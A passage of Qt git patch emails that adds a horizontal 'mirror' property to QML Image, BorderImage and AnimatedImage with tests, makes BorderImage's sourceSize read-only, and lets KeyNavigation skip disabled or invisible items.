.../qdeclarativeanimatedimage/data/hearts.qml | 6 ++ .../tst_qdeclarativeanimatedimage.cpp | 103 +++++++++++++++++++++ .../qdeclarativeborderimage/data/heart200.png | Bin 0 -> 7943 bytes .../tst_qdeclarativeborderimage.cpp | 34 +++++++ .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 86 +++++++++++++++++ 12 files changed, 343 insertions(+), 49 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif create mode 100644 tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml create mode 100644 tests/auto/declarative/qdeclarativeborderimage/data/heart200.png diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp index 12a820f..abdfdfa 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp @@ -86,6 +86,16 @@ QT_BEGIN_NAMESPACE \sa BorderImage, Image */ +/*! + \qmlproperty bool AnimatedImage::mirror + \since Quick 1.1 + + This property holds whether the image should be horizontally inverted + (effectively displaying a mirrored image). + + The default value is false. +*/ + QDeclarativeAnimatedImage::QDeclarativeAnimatedImage(QDeclarativeItem *parent) : QDeclarativeImage(*(new QDeclarativeAnimatedImagePrivate), parent) { @@ -126,7 +136,7 @@ void QDeclarativeAnimatedImage::setPaused(bool pause) \qmlproperty bool AnimatedImage::playing This property holds whether the animated image is playing. - By defaults, this property is true, meaning that the animation + By default, this property is true, meaning that the animation will start playing immediately. */ bool QDeclarativeAnimatedImage::isPlaying() const diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 0bf09ad..a25074a 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -200,6 +200,16 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() */ /*! + \qmlproperty bool BorderImage::mirror + \since Quick 1.1 + + This property holds whether the image should be horizontally inverted + (effectively displaying a mirrored image). + + The default value is false. +*/ + +/*! \qmlproperty url BorderImage::source This property holds the URL that refers to the source image. @@ -534,8 +544,15 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem bool oldAA = p->testRenderHint(QPainter::Antialiasing); bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); + QTransform oldTransform; if (d->smooth) p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); + if (d->mirror) { + oldTransform = p->transform(); + QTransform mirror; + mirror.translate(d->width(), 0).scale(-1, 1.0); + p->setWorldTransform(mirror * oldTransform); + } const QDeclarativeScaleGrid *border = d->getScaleGrid(); int left = border->left(); @@ -561,6 +578,8 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem p->setRenderHint(QPainter::Antialiasing, oldAA); p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); } + if (d->mirror) + p->setWorldTransform(oldTransform); } QT_END_NAMESPACE diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index e07292b..68a1ecb 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -467,84 +467,93 @@ QRectF QDeclarativeImage::boundingRect() const to make sure that they aren't cached at the expense of small 'ui element' images. */ +/*! + \qmlproperty bool Image::mirror + \since Quick 1.1 + + This property holds whether the image should be horizontally inverted + (effectively displaying a mirrored image). + + The default value is false. +*/ + + void QDeclarativeImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) { Q_D(QDeclarativeImage); if (d->pix.pixmap().isNull() ) return; - bool oldAA = p->testRenderHint(QPainter::Antialiasing); - bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); - if (d->smooth) - p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); + int drawWidth = width(); + int drawHeight = height(); + bool doClip = false; + QTransform transform; + qreal widthScale = width() / qreal(d->pix.width()); + qreal heightScale = height() / qreal(d->pix.height()); if (width() != d->pix.width() || height() != d->pix.height()) { if (d->fillMode >= Tile) { - if (d->fillMode == Tile) { - p->drawTiledPixmap(QRectF(0,0,width(),height()), d->pix); - } else { - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); - - QTransform scale; - if (d->fillMode == TileVertically) { - scale.scale(widthScale, 1.0); - QTransform old = p->transform(); - p->setWorldTransform(scale * old); - p->drawTiledPixmap(QRectF(0,0,d->pix.width(),height()), d->pix); - p->setWorldTransform(old); - } else { - scale.scale(1.0, heightScale); - QTransform old = p->transform(); - p->setWorldTransform(scale * old); - p->drawTiledPixmap(QRectF(0,0,width(),d->pix.height()), d->pix); - p->setWorldTransform(old); - } + if (d->fillMode == TileVertically) { + transform.scale(widthScale, 1.0); + drawWidth = d->pix.width(); + } else if (d->fillMode == TileHorizontally) { + transform.scale(1.0, heightScale); + drawHeight = d->pix.height(); } } else { - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); - - QTransform scale; - if (d->fillMode == PreserveAspectFit) { if (widthScale <= heightScale) { heightScale = widthScale; - scale.translate(0, (height() - heightScale * d->pix.height()) / 2); + transform.translate(0, (height() - heightScale * d->pix.height()) / 2); } else if(heightScale < widthScale) { widthScale = heightScale; - scale.translate((width() - widthScale * d->pix.width()) / 2, 0); + transform.translate((width() - widthScale * d->pix.width()) / 2, 0); } } else if (d->fillMode == PreserveAspectCrop) { if (widthScale < heightScale) { widthScale = heightScale; - scale.translate((width() - widthScale * d->pix.width()) / 2, 0); + transform.translate((width() - widthScale * d->pix.width()) / 2, 0); } else if(heightScale < widthScale) { heightScale = widthScale; - scale.translate(0, (height() - heightScale * d->pix.height()) / 2); + transform.translate(0, (height() - heightScale * d->pix.height()) / 2); } } - if (clip()) { - p->save(); - p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip); - } - scale.scale(widthScale, heightScale); - QTransform old = p->transform(); - p->setWorldTransform(scale * old); - p->drawPixmap(0, 0, d->pix); - p->setWorldTransform(old); - if (clip()) { - p->restore(); - } + transform.scale(widthScale, heightScale); + drawWidth = d->pix.width(); + drawHeight = d->pix.height(); + doClip = clip(); } - } else { - p->drawPixmap(0, 0, d->pix); } + QTransform oldTransform; + bool oldAA = p->testRenderHint(QPainter::Antialiasing); + bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); + if (d->smooth) + p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); + if (doClip) { + p->save(); + p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip); + } + if (d->mirror) + transform.translate(drawWidth, 0).scale(-1.0, 1.0); + if (!transform.isIdentity()) { + oldTransform = p->transform(); + p->setWorldTransform(transform * oldTransform); + } + + if (d->fillMode >= Tile) + p->drawTiledPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix); + else + p->drawPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix, QRectF(0, 0, drawWidth, drawHeight)); + if (d->smooth) { p->setRenderHint(QPainter::Antialiasing, oldAA); p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); } + if (doClip) + p->restore(); + if (!transform.isIdentity()) + p->setWorldTransform(oldTransform); } void QDeclarativeImage::pixmapChange() diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index 37b0734..c745635 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -146,6 +146,26 @@ void QDeclarativeImageBase::setCached(bool cached) load(); } +void QDeclarativeImageBase::setMirror(bool mirror) +{ + Q_D(QDeclarativeImageBase); + if (mirror == d->mirror) + return; + + d->mirror = mirror; + + if (isComponentComplete()) + update(); + + emit mirrorChanged(); +} + +bool QDeclarativeImageBase::mirror() const +{ + Q_D(const QDeclarativeImageBase); + return d->mirror; +} + void QDeclarativeImageBase::load() { Q_D(QDeclarativeImageBase); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index d25f7c3..b6e55ec 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -60,6 +60,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) Q_PROPERTY(bool cached READ cached WRITE setCached NOTIFY cachedChanged) // ### VERSIONING: Only in QtQuick 1.1 Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged) + Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged) // ### VERSIONING: Only in QtQuick 1.1 public: ~QDeclarativeImageBase(); @@ -79,6 +80,9 @@ public: virtual void setSourceSize(const QSize&); QSize sourceSize() const; + virtual void setMirror(bool mirror); + bool mirror() const; + Q_SIGNALS: void sourceChanged(const QUrl &); void sourceSizeChanged(); @@ -86,6 +90,7 @@ Q_SIGNALS: void progressChanged(qreal progress); void asynchronousChanged(); void cachedChanged(); + void mirrorChanged(); protected: virtual void load(); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index a539649..950914f 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -71,7 +71,8 @@ public: progress(0.0), explicitSourceSize(false), async(false), - cached(true) + cached(true), + mirror(false) { QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; } @@ -84,6 +85,7 @@ public: bool explicitSourceSize : 1; bool async : 1; bool cached : 1; + bool mirror: 1; }; QT_END_NAMESPACE diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif new file mode 100644 index 0000000..cfb55f2 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif differ diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml new file mode 100644 index 0000000..8729dd2 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml @@ -0,0 +1,6 @@ +import QtQuick 1.0 + +AnimatedImage { + source: "hearts.gif" + playing: false +} diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp index 8cbe813..bd701e7 100644 --- a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp +++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp @@ -45,6 +45,7 @@ #include #include #include +#include #include "../shared/testhttpserver.h" #include "../../../shared/util.h" @@ -66,13 +67,28 @@ private slots: void stopped(); void setFrame(); void frameCount(); + void mirror_running(); + void mirror_notRunning(); + void mirror_notRunning_data(); void remote(); void remote_data(); void sourceSize(); void sourceSizeReadOnly(); void invalidSource(); + +private: + QPixmap grabScene(QGraphicsScene *scene, int width, int height); }; +QPixmap tst_qdeclarativeanimatedimage::grabScene(QGraphicsScene *scene, int width, int height) +{ + QPixmap screenshot(width, height); + screenshot.fill(); + QPainter p_screenshot(&screenshot); + scene->render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + return screenshot; +} + void tst_qdeclarativeanimatedimage::play() { QDeclarativeEngine engine; @@ -132,6 +148,93 @@ void tst_qdeclarativeanimatedimage::frameCount() delete anim; } +void tst_qdeclarativeanimatedimage::mirror_running() +{ + // test where mirror is set to true after animation has started + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/hearts.qml")); + QDeclarativeAnimatedImage *anim = qobject_cast(component.create()); + QVERIFY(anim); + + QGraphicsScene scene; + int width = anim->property("width").toInt(); + int height = anim->property("height").toInt(); + scene.addItem(qobject_cast(anim)); + + QCOMPARE(anim->currentFrame(), 0); + QPixmap frame0 = grabScene(&scene, width, height); + anim->setCurrentFrame(1); + QPixmap frame1 = grabScene(&scene, width, height); + + anim->setCurrentFrame(0); + + QSignalSpy spy(anim, SIGNAL(frameChanged())); + anim->setPlaying(true); + + QTRY_VERIFY(spy.count() == 1); spy.clear(); + anim->setProperty("mirror", true); + + QCOMPARE(anim->currentFrame(), 1); + QPixmap frame1_flipped = grabScene(&scene, width, height); + + QTRY_VERIFY(spy.count() == 1); spy.clear(); + QCOMPARE(anim->currentFrame(), 0); // animation only has 2 frames, should cycle back to first + QPixmap frame0_flipped = grabScene(&scene, width, height); + + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + QPixmap frame0_expected = frame0.transformed(transform); + QPixmap frame1_expected = frame1.transformed(transform); + + QCOMPARE(frame0_flipped, frame0_expected); + QCOMPARE(frame1_flipped, frame1_expected); +} + +void tst_qdeclarativeanimatedimage::mirror_notRunning() +{ + QFETCH(QUrl, fileUrl); + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, fileUrl); + QDeclarativeAnimatedImage *anim = qobject_cast(component.create()); + QVERIFY(anim); + + QGraphicsScene scene; + int width = anim->property("width").toInt(); + int height = anim->property("height").toInt(); + scene.addItem(qobject_cast(anim)); + QPixmap screenshot = grabScene(&scene, width, height); + + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + QPixmap expected = screenshot.transformed(transform); + + int frame = anim->currentFrame(); + bool playing = anim->isPlaying(); + bool paused = anim->isPlaying(); + + anim->setProperty("mirror", true); + screenshot = grabScene(&scene, width, height); + + QCOMPARE(screenshot, expected); + + // mirroring should not change the current frame or playing status + QCOMPARE(anim->currentFrame(), frame); + QCOMPARE(anim->isPlaying(), playing); + QCOMPARE(anim->isPaused(), paused); + + delete anim; +} + +void tst_qdeclarativeanimatedimage::mirror_notRunning_data() +{ + QTest::addColumn("fileUrl"); + + QTest::newRow("paused") << QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml"); + QTest::newRow("stopped") << QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml"); +} + void tst_qdeclarativeanimatedimage::remote() { QFETCH(QString, fileName); diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png new file mode 100644 index 0000000..5a31ae8 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png differ diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp index 5478145..c22cde2 100644 --- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp +++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp @@ -43,6 +43,8 @@ #include #include #include +#include +#include #include #include @@ -77,6 +79,7 @@ private slots: void clearSource(); void resized(); void smooth(); + void mirror(); void tileModes(); void sciSource(); void sciSource_data(); @@ -218,6 +221,37 @@ void tst_qdeclarativeborderimage::smooth() delete obj; } +void tst_qdeclarativeborderimage::mirror() +{ + QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/heart200.png\"; smooth: true; width: 300; height: 300; border { top: 50; right: 50; bottom: 50; left: 50 } }"; + QDeclarativeComponent component(&engine); + component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); + QDeclarativeBorderImage *obj = qobject_cast(component.create()); + QVERIFY(obj != 0); + + int width = obj->property("width").toInt(); + int height = obj->property("height").toInt(); + + QGraphicsScene scene; + scene.addItem(qobject_cast(obj)); + QPixmap screenshot(width, height); + screenshot.fill(); + QPainter p_screenshot(&screenshot); + scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + QPixmap expected = screenshot.transformed(transform); + + obj->setProperty("mirror", true); + p_screenshot.fillRect(QRect(0, 0, width, height), Qt::white); + scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + + QCOMPARE(screenshot, expected); + + delete obj; +} + void tst_qdeclarativeborderimage::tileModes() { { diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index c811f62..27c7964 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -79,6 +79,8 @@ private slots: void resized(); void preserveAspectRatio(); void smooth(); + void mirror(); + void mirror_data(); void svg(); void geometry(); void geometry_data(); @@ -270,6 +272,90 @@ void tst_qdeclarativeimage::smooth() delete obj; } +void tst_qdeclarativeimage::mirror() +{ + QFETCH(int, fillMode); + + qreal width = 300; + qreal height = 250; + + QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString(); + QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; }"; + + QDeclarativeComponent component(&engine); + component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); + QDeclarativeImage *obj = qobject_cast(component.create()); + QVERIFY(obj != 0); + + obj->setProperty("width", width); + obj->setProperty("height", height); + obj->setFillMode((QDeclarativeImage::FillMode)fillMode); + obj->setProperty("mirror", true); + + QGraphicsScene scene; + scene.addItem(qobject_cast(obj)); + QPixmap screenshot(width, height); + screenshot.fill(); + QPainter p_screenshot(&screenshot); + scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height)); + + QPixmap srcPixmap; + QVERIFY(srcPixmap.load(SRCDIR "/data/heart200.png")); + + QPixmap expected(width, height); + expected.fill(); + QPainter p_e(&expected); + QTransform transform; + transform.translate(width, 0).scale(-1, 1.0); + p_e.setTransform(transform); + + switch (fillMode) { + case QDeclarativeImage::Stretch: + p_e.drawPixmap(QRect(0, 0, width, height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); + break; + case QDeclarativeImage::PreserveAspectFit: + p_e.drawPixmap(QRect(25, 0, width / (width/height), height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); + break; + case QDeclarativeImage::PreserveAspectCrop: + { + qreal ratio = width/srcPixmap.width(); // width is the longer side + QRect rect(0, 0, srcPixmap.width()*ratio, srcPixmap.height()*ratio); + rect.moveCenter(QRect(0, 0, width, height).center()); + p_e.drawPixmap(rect, srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height())); + break; + } + case QDeclarativeImage::Tile: + p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); + break; + case QDeclarativeImage::TileVertically: + transform.scale(width / srcPixmap.width(), 1.0); + p_e.setTransform(transform); + p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); + break; + case QDeclarativeImage::TileHorizontally: + transform.scale(1.0, height / srcPixmap.height()); + p_e.setTransform(transform); + p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap); + break; + } + + QCOMPARE(screenshot, expected); + + delete obj; +} + +void tst_qdeclarativeimage::mirror_data() +{ + QTest::addColumn("fillMode"); + + QTest::newRow("Stretch") << int(QDeclarativeImage::Stretch); + QTest::newRow("PreserveAspectFit") << int(QDeclarativeImage::PreserveAspectFit); + QTest::newRow("PreserveAspectCrop") << int(QDeclarativeImage::PreserveAspectCrop); + QTest::newRow("Tile") << int(QDeclarativeImage::Tile); + QTest::newRow("TileVertically") << int(QDeclarativeImage::TileVertically); + QTest::newRow("TileHorizontally") << int(QDeclarativeImage::TileHorizontally); +} + void tst_qdeclarativeimage::svg() { QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.svg").toString(); -- cgit v0.12 From a32728ce8cf4fa1d1dc1001b1fadc66e9c86e025 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 10 Dec 2010 13:03:59 +1000 Subject: The sourceSize property for borderImage should be read only Trying the sourceSize property from QML should emit a read-only warning. Task-number: QTBUG-15703 Reviewed-by: Bea Lam --- src/declarative/graphicsitems/qdeclarativeborderimage.cpp | 6 ------ src/declarative/graphicsitems/qdeclarativeborderimage_p.h | 6 ++++-- 2 files changed, 4 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index a25074a..d9ba2bd 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -256,12 +256,6 @@ void QDeclarativeBorderImage::setSource(const QUrl &url) load(); } -void QDeclarativeBorderImage::setSourceSize(const QSize& size) -{ - Q_UNUSED(size); - qmlInfo(this) << "Setting sourceSize for borderImage not supported"; -} - void QDeclarativeBorderImage::load() { Q_D(QDeclarativeBorderImage); diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h index 7cf24f2..d9db0ac 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h +++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h @@ -63,6 +63,9 @@ class Q_AUTOTEST_EXPORT QDeclarativeBorderImage : public QDeclarativeImageBase Q_PROPERTY(TileMode horizontalTileMode READ horizontalTileMode WRITE setHorizontalTileMode NOTIFY horizontalTileModeChanged) Q_PROPERTY(TileMode verticalTileMode READ verticalTileMode WRITE setVerticalTileMode NOTIFY verticalTileModeChanged) + // read-only for BorderImage + Q_PROPERTY(QSize sourceSize READ sourceSize NOTIFY sourceSizeChanged) + public: QDeclarativeBorderImage(QDeclarativeItem *parent=0); ~QDeclarativeBorderImage(); @@ -80,11 +83,10 @@ public: void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); void setSource(const QUrl &url); - void setSourceSize(const QSize&); - Q_SIGNALS: void horizontalTileModeChanged(); void verticalTileModeChanged(); + void sourceSizeChanged(); protected: virtual void load(); -- cgit v0.12 From 5710cc981ae39a018d4c30b2c77f6623713a5bf1 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 10 Dec 2010 13:19:03 +1000 Subject: KeyNavigation skips disabled or invisible items When using KeyNavigation, if the "visible" or "enabled" property of the item set in the KeyNavigation handler is false, an attempt will be made to skip this item and setFocus to the following item. Task-number: QTBUG-15862 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 46 ++++++++++--- src/declarative/graphicsitems/qdeclarativeitem_p.h | 1 + .../qdeclarativeitem/tst_qdeclarativeitem.cpp | 79 ++++++++++++++++++++++ 3 files changed, 118 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 9d6fe12..cf12688 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -444,6 +444,11 @@ void QDeclarativeItemKeyFilter::componentComplete() \c KeyNavigation.BeforeItem allows the event to be used for key navigation before the item, rather than after. + If item to which the focus is switching is not enabled or visible, an attempt will + be made to skip this item and focus on the next. This is possible if there are + a chain of items with the same KeyNavigation handler. If multiple items in a row are not enabled + or visible, they will also be skipped. + \sa {Keys}{Keys attached property} */ @@ -452,10 +457,12 @@ void QDeclarativeItemKeyFilter::componentComplete() \qmlproperty Item KeyNavigation::right \qmlproperty Item KeyNavigation::up \qmlproperty Item KeyNavigation::down + \qmlproperty Item KeyNavigation::tab + \qmlproperty Item KeyNavigation::backtab These properties hold the item to assign focus to - when Key_Left, Key_Right, Key_Up or Key_Down are - pressed. + when Key_Left, Key_Right, Key_Up, Key_Down, Key_Tab or Key_BackTab + are pressed. */ QDeclarativeKeyNavigationAttached::QDeclarativeKeyNavigationAttached(QObject *parent) @@ -603,37 +610,37 @@ void QDeclarativeKeyNavigationAttached::keyPressed(QKeyEvent *event, bool post) switch(event->key()) { case Qt::Key_Left: if (d->left) { - d->left->setFocus(true); + setFocusNavigation(d->left, "left"); event->accept(); } break; case Qt::Key_Right: if (d->right) { - d->right->setFocus(true); + setFocusNavigation(d->right, "right"); event->accept(); } break; case Qt::Key_Up: if (d->up) { - d->up->setFocus(true); + setFocusNavigation(d->up, "up"); event->accept(); } break; case Qt::Key_Down: if (d->down) { - d->down->setFocus(true); + setFocusNavigation(d->down, "down"); event->accept(); } break; case Qt::Key_Tab: if (d->tab) { - d->tab->setFocus(true); + setFocusNavigation(d->tab, "tab"); event->accept(); } break; case Qt::Key_Backtab: if (d->backtab) { - d->backtab->setFocus(true); + setFocusNavigation(d->backtab, "backtab"); event->accept(); } break; @@ -692,6 +699,29 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post) if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post); } +void QDeclarativeKeyNavigationAttached::setFocusNavigation(QDeclarativeItem *currentItem, const char *dir) +{ + QDeclarativeItem *initialItem = currentItem; + bool isNextItem = false; + do { + isNextItem = false; + if (currentItem->isVisible() && currentItem->isEnabled()) { + currentItem->setFocus(true); + } else { + QObject *attached = + qmlAttachedPropertiesObject(currentItem, false); + if (attached) { + QDeclarativeItem *tempItem = qvariant_cast(attached->property(dir)); + if (tempItem) { + currentItem = tempItem; + isNextItem = true; + } + } + } + } + while (currentItem != initialItem && isNextItem); +} + /*! \qmlclass Keys QDeclarativeKeysAttached \ingroup qml-basic-interaction-elements diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h index d8635b9..402554b 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h @@ -411,6 +411,7 @@ Q_SIGNALS: private: virtual void keyPressed(QKeyEvent *event, bool post); virtual void keyReleased(QKeyEvent *event, bool post); + void setFocusNavigation(QDeclarativeItem *currentItem, const char *dir); }; class QDeclarativeKeysAttachedPrivate : public QObjectPrivate diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp index 711bf00..9587254 100644 --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp @@ -65,6 +65,7 @@ private slots: void keys(); void keysProcessingOrder(); void keyNavigation(); + void keyNavigation_skipNotVisible(); void smooth(); void clip(); void mapCoordinates(); @@ -450,6 +451,84 @@ void tst_QDeclarativeItem::keyNavigation() delete canvas; } +void tst_QDeclarativeItem::keyNavigation_skipNotVisible() +{ + QDeclarativeView *canvas = new QDeclarativeView(0); + canvas->setFixedSize(240,320); + + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml")); + canvas->show(); + qApp->processEvents(); + + QEvent wa(QEvent::WindowActivate); + QApplication::sendEvent(canvas, &wa); + QFocusEvent fe(QEvent::FocusIn); + QApplication::sendEvent(canvas, &fe); + + QDeclarativeItem *item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // Set item 2 to not visible + item = findItem(canvas->rootObject(), "item2"); + QVERIFY(item); + item->setVisible(false); + QVERIFY(!item->isVisible()); + + // right + QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // tab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item3"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // backtab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + //Set item 3 to not visible + item = findItem(canvas->rootObject(), "item3"); + QVERIFY(item); + item->setVisible(false); + QVERIFY(!item->isVisible()); + + // tab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item4"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + // backtab + key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); + QApplication::sendEvent(canvas, &key); + QVERIFY(key.isAccepted()); + + item = findItem(canvas->rootObject(), "item1"); + QVERIFY(item); + QVERIFY(item->hasActiveFocus()); + + delete canvas; +} + void tst_QDeclarativeItem::smooth() { QDeclarativeComponent component(&engine); -- cgit v0.12 From 6541562252cecd102788257022d3cf159954cae8 Mon Sep 17 00:00:00 2001 